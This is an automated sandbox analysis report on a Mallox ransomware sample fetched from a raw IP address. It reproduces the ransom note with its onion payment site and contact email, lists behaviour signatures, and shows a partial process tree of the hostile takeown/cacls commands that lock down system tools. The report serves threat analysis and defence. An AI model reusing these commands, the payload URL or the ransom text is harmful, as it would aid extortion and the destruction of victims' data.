Analysis
-
max time kernel
137s -
max time network
318s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
-
submitted
28-03-2023 15:36
General
-
Target
http://80.66.75.37/a-Xgjsx.exe
Score
10/10
Malware Config
Extracted
Path
C:\Program Files\7-Zip\Lang\FILE RECOVERY.txt
Ransom Note
Hello
Your files are encrypted and can not be used
To return your files in work condition you need decryption tool
Follow the instructions to decrypt all your data
Do not try to change or restore files yourself, this will break them
If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB
How to get decryption tool:
1) Download and install TOR browser by this link: https://www.torproject.org/download/
2) If TOR blocked in your country and you can't access to the link then use any VPN software
3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin
4) Copy your private ID in the input field. Your Private key: EF95AC833AA3E8B0EEA346DB
5) You will see payment information and we can make free test decryption here
Our blog of leaked companies:
wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion
If you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.org
Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site. �
Emails
mallox.resurrection@onionmail.org
URLs
http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin
http://wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion
Signatures
-
Clears Windows event logs 1 TTPs 64 IoCs
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Downloads MZ/PE file
-
Stops running service(s) 3 TTPs
-
Executes dropped EXE 6 IoCs
-
Modifies file permissions 1 TTPs 18 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of SetThreadContext 1 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 2 IoCs
-
Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Discovers systems in the same network 1 TTPs 2 IoCs
-
Enumerates processes with tasklist 1 TTPs 6 IoCs
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 64 IoCs
-
Modifies data under HKEY_USERS 2 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 53 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 1 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" http://80.66.75.37/a-Xgjsx.exe1⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffc51a09758,0x7ffc51a09768,0x7ffc51a097782⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1944 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1608 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2120 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2760 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2724 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5032 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5020 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5352 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5280 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5296 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 --field-trial-handle=1712,i,6398848510829472074,4934625051831616148,131072 /prefetch:82⤵
-
C:\Users\Admin\Downloads\a-Xgjsx.exe"C:\Users\Admin\Downloads\a-Xgjsx.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwAwAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Wvjrrzxdkill$-arab.bat" "3⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\cmd.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g system:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\cmd.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g system:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\net.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\net.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Service25⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\net1.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\net1.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\net1.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\net1.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\mshta.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\mshta.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\mshta.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\mshta.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\FTP.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\FTP.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\FTP.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\FTP.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\wscript.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
